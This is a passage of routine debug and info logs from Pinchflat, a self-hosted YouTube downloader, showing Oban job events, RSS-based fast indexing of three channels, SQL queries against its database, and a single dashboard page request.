{"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:00:00.519 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:00:26.728 [info] {"source":"oban","duration":471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:00:40.739 [info] {"args":{"id":2},"id":642,"meta":{},"system_time":1784898040739100507,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 13:00:40.739 [debug] QUERY OK source="sources" db=0.0ms idle=23.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 13:00:40.739 [debug] QUERY OK source="settings" db=0.0ms idle=23.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:00:40.739 [debug] QUERY OK source="media_profiles" db=0.0ms idle=23.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:00:40.739 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:00:40.739 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 13:00:41.329 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 13:00:41.329 [debug] QUERY OK source="media_items" db=0.2ms idle=590.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 13:00:41.330 [debug] QUERY OK source="media_items" db=0.2ms idle=590.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 13:00:41.330 [debug] QUERY OK source="tasks" db=0.0ms idle=591.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [645, 2, ~U[2026-07-24 13:00:41Z], ~U[2026-07-24 13:00:41Z]] 13:00:41.331 [info] {"args":{"id":2},"id":642,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":591813,"event":"job:stop","queue_time":508231,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 13:00:55.754 [info] {"args":{"id":1},"id":643,"meta":{},"system_time":1784898055754171501,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 13:00:55.754 [debug] QUERY OK source="sources" db=0.0ms idle=1034.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 13:00:55.754 [debug] QUERY OK source="settings" db=0.0ms idle=1035.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:00:55.754 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:00:55.754 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:00:55.754 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 13:00:56.029 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 13:00:56.030 [debug] QUERY OK source="media_items" db=0.2ms idle=275.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 13:00:56.032 [debug] QUERY OK source="media_items" db=2.1ms idle=276.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 13:00:56.033 [debug] QUERY OK source="tasks" db=0.0ms idle=278.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [646, 1, ~U[2026-07-24 13:00:56Z], ~U[2026-07-24 13:00:56Z]] 13:00:56.033 [info] {"args":{"id":1},"id":643,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":279229,"event":"job:stop","queue_time":596992,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 13:00:56.729 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:01:00.519 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:01:10.769 [info] {"args":{"id":3},"id":644,"meta":{},"system_time":1784898070769059239,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 13:01:10.769 [debug] QUERY OK source="sources" db=0.0ms idle=1046.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 13:01:10.769 [debug] QUERY OK source="settings" db=0.0ms idle=1046.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:01:10.769 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:01:10.769 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:01:10.769 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 13:01:10.795 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 13:01:10.795 [debug] QUERY OK source="media_items" db=0.2ms idle=26.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 13:01:10.797 [debug] QUERY OK source="media_items" db=1.6ms idle=26.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 13:01:10.798 [debug] QUERY OK source="tasks" db=0.0ms idle=28.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [647, 3, ~U[2026-07-24 13:01:10Z], ~U[2026-07-24 13:01:10Z]] 13:01:10.798 [info] {"args":{"id":3},"id":644,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":29397,"event":"job:stop","queue_time":612968,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 13:01:26.730 [info] {"source":"oban","duration":1012,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:01:56.732 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:02:00.520 [info] {"source":"oban","duration":121,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:02:26.733 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:02:56.734 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:03:00.521 [info] {"source":"oban","duration":133,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:03:26.735 [info] {"source":"oban","duration":807,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:03:38.499 [info] GET / 13:03:38.499 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 13:03:38.500 [debug] QUERY OK source="settings" db=0.1ms idle=749.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:03:38.500 [debug] QUERY OK source="media_profiles" db=0.0ms idle=749.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 13:03:38.500 [debug] QUERY OK source="sources" db=0.0ms idle=749.5ms SELECT count(s0."id") FROM "sources" AS s0 [] 13:03:38.504 [debug] QUERY OK source="media_items" db=3.9ms idle=749.6ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 13:03:38.504 [debug] QUERY OK source="media_items" db=0.3ms idle=591.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 13:03:38.505 [debug] QUERY OK source="settings" db=0.0ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:03:38.505 [debug] QUERY OK source="settings" db=0.0ms idle=4.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:03:38.505 [debug] QUERY OK source="settings" db=0.0ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:03:38.506 [debug] QUERY OK source="media_items" db=0.3ms idle=1.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 13:03:38.508 [debug] QUERY OK source="media_items" db=1.8ms idle=1.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 13:03:38.508 [debug] QUERY OK source="sources" db=0.1ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 1] 13:03:38.513 [debug] QUERY OK source="media_items" db=4.1ms idle=3.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 13:03:38.517 [debug] QUERY OK source="media_items" db=4.2ms idle=7.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 13:03:38.518 [debug] QUERY OK source="tasks" db=0.1ms idle=11.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 13:03:38.518 [info] Sent 200 in 18ms 13:03:56.736 [info] {"source":"oban","duration":343,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:04:00.522 [info] {"source":"oban","duration":127,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:04:26.737 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:04:56.738 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:05:00.523 [info] {"source":"oban","duration":106,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:05:26.739 [info] {"source":"oban","duration":541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:05:56.740 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:06:00.524 [info] {"source":"oban","duration":139,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:06:26.741 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:06:56.742 [info] {"source":"oban","duration":527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:07:00.525 [info] 